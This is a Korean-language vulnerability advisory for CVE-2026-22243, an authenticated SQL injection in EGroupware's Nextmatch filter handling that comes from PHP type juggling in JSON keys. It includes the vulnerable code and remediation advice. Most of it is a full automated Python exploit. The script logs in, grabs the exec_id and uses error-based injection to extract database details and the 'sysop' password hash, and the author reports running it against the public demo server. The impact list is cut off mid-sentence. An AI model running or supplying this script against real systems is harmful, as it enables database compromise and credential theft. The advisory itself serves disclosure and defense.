
CVE-2026-22243 - EGroupware의 Nextmatch 필터 처리에 SQL 인젝션 취약점이 있습니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-22243 |
| 심각도 | HIGH |
| 보안 권고 | 보안 권고 보기 |
| 발견자 | Lukasz Rybak |
Nextmatch 위젯 필터 처리에서의 심각한 인증된 SQL 인젝션
EGroupware의 핵심 구성 요소, 특히 Nextmatch 필터 처리에 심각한 SQL 인젝션 취약점이 존재합니다. 이 결함으로 인해 인증된 공격자가 데이터베이스 쿼리의 WHERE 절에 임의의 SQL 명령을 주입할 수 있습니다. 이는 JSON 디코딩이 숫자 문자열을 정수로 변환하여 애플리케이션에서 사용하는 is_int() 보안 검사를 우회하는 PHP 유형 저글링(type juggling) 문제를 악용하여 달성됩니다.
근본 원인 분석
이 취약점은 데이터베이스 추상화 계층(Api\Db)과 고수준 저장소 클래스(Api\Storage\Base, infolog_so)가 "Nextmatch" 위젯에서 사용되는 col_filter 배열을 처리하는 방식에 존재합니다.
애플리케이션은 배열 키가 신뢰할 수 있는 원시 SQL 조각인지 여부를 확인하기 위해 is_int($key)를 사용하여 입력을 검증하려고 시도합니다. 그러나 JSON 기반 POST 요청을 처리할 때 PHP의 json_decode는 숫자 문자열 키(예: "0")를 자동으로 네이티브 정수로 변환합니다.
결과적으로 공격자는 숫자 키를 포함하는 연관 배열이 담긴 JSON 페이로드를 전송할 수 있습니다. 애플리케이션은 이러한 키를 정수로 해석하고(is_int가 true를 반환) 악성 SQL이 포함된 관련 값을 쿼리에 직접 무비판적으로 추가합니다.
취약한 코드 위치
sources/egroupware/api/src/Db.php (약 1776행)
메서드: column_data_implode// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
if (empty($data)) continue;
// VULNERABLE: $data is appended directly to SQL without sanitization
$values[] = $data;
}
sources/egroupware/api/src/Storage/Base.php (약 1134행)
메서드: parse_search// In function parse_search
foreach($criteria as $col => $val) {
// VULNERABLE: is_int() returns true for JSON keys like "0"
if (is_int($col)) {
$query[] = $val;
}
// ...
}
로컬 Docker 인스턴스에서 이 취약점을 검증했으며, 공개 데모 인스턴스(demo.egroupware.net)에서도 (읽기 전용으로) 확인했습니다.
자동화된 익스플로잇 스크립트: 다음 스크립트는 로그인, exec_id 추출, 오류 기반 SQL 인젝션(Error-Based SQL Injection)을 통한 데이터 유출을 자동화합니다.
import requests
import re
import sys
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})
def extract_form_inputs(html):
inputs = {}
matches = re.findall(r'<input[^>]+>', html)
for match in matches:
name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
if name_m:
name = name_m.group(1)
value = value_m.group(1) if value_m else ""
inputs[name] = value
return inputs
def login():
print(f"[*] Target: {BASE_URL}")
login_url = f"{BASE_URL}/login.php"
try:
print("[*] Retrieving login form...")
r_get = session.get(login_url, timeout=10)
data = extract_form_inputs(r_get.text)
data.update({
"login": LOGIN_USER,
"passwd": LOGIN_PASS,
"submitit": "Login",
"passwd_type": "text"
})
if 'cancel' in data: del data['cancel']
print(f"[*] Attempting login as: {LOGIN_USER}...")
r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
print("[-] Login failed. Server returned login form.")
return False
print("[+] Login successful.")
return True
except Exception as e:
print(f"[-] Critical error during login: {e}")
return False
def get_exec_id():
print("[*] Retrieving exec_id...")
url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
try:
r = session.get(url, timeout=10)
match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
if match:
eid = match.group(1)
print(f"[+] ID found: {eid}")
return eid
else:
if 'name="passwd"' in r.text:
print("[-] Session expired or login failed.")
else:
print("[-] exec_id pattern not found in source code.")
except Exception as e:
print(f"[-] Error retrieving ID: {e}")
return None
def run_query(eid, sql):
full = ""
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
print(f"[*] Executing SQLi: {sql}")
for offset in range(1, 201, 30):
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
post_data = {
"request": {
"parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
}
}
try:
r = session.post(url, json=post_data, timeout=10)
match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
if not match:
match = re.search(r"~([^~]+)~", r.text)
if match:
chunk = match.group(1)
if "..." in chunk: chunk = chunk.replace("...", "")
full += chunk
if len(chunk) < 1: break
else:
break
except Exception as e:
print(f"[-] Query error: {e}")
break
return full if full else "NO DATA / ERROR"
if __name__ == "__main__":
if login():
eid = get_exec_id()
if eid:
print("\n" + "="*40)
print(" SQL INJECTION RESULTS ")
print("="*40)
print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
print(f"[+] DB Name: {run_query(eid, 'SELECT database()')}")
print(f"[+] DB User: {run_query(eid, 'SELECT user()')}")
print("\n[*] Retrieving hash for 'sysop' user (if exists):")
res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
print(f" > {res}")
print("="*40 + "\n")
demo.egroupware.net에서의 검증 증거:
프로덕션과 유사한 환경(읽기 전용)에서 악용 가능성을 확인하기 위해 공개 데모를 대상으로 스크립트를 실행했습니다.

영향: 낮은 권한만 가진 공격자도 데이터베이스를 완전히 손상시킬 수 있습니다. 이를 통해 다음이 가능해집니다:
1. 입력 검증(화이트리스트)
외부 입력, 특히 키가 숫자 문자열일 수 있는 JSON 데이터를 처리할 때 보안 결정을 위해 is_int()에만 의존하지 마십시오. Nextmatch 위젯에서 필터링에 허용되는 열 이름에 대한 엄격한 화이트리스트(허용 목록) 를 구현하십시오. 키/열이 화이트리스트에 없으면 요청을 거부하십시오.
2. 매개변수 바인딩 모든 필터 값이 SQL 문자열에 직접 연결되지 않고 매개변수(준비된 문)로 바인딩되도록 하십시오.
3. 엄격한 유형 검사
JSON 입력을 처리할 때 키가 SQL 생성 로직에 사용되기 전에 예상 유형과 엄격히 일치하는지 확인하십시오(예: ===를 사용한 엄격한 비교 또는 filter_var 사용).
보고자: Łukasz Rybak
본 CVE는 조율된 취약점 공개(coordinated vulnerability disclosure) 관행에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.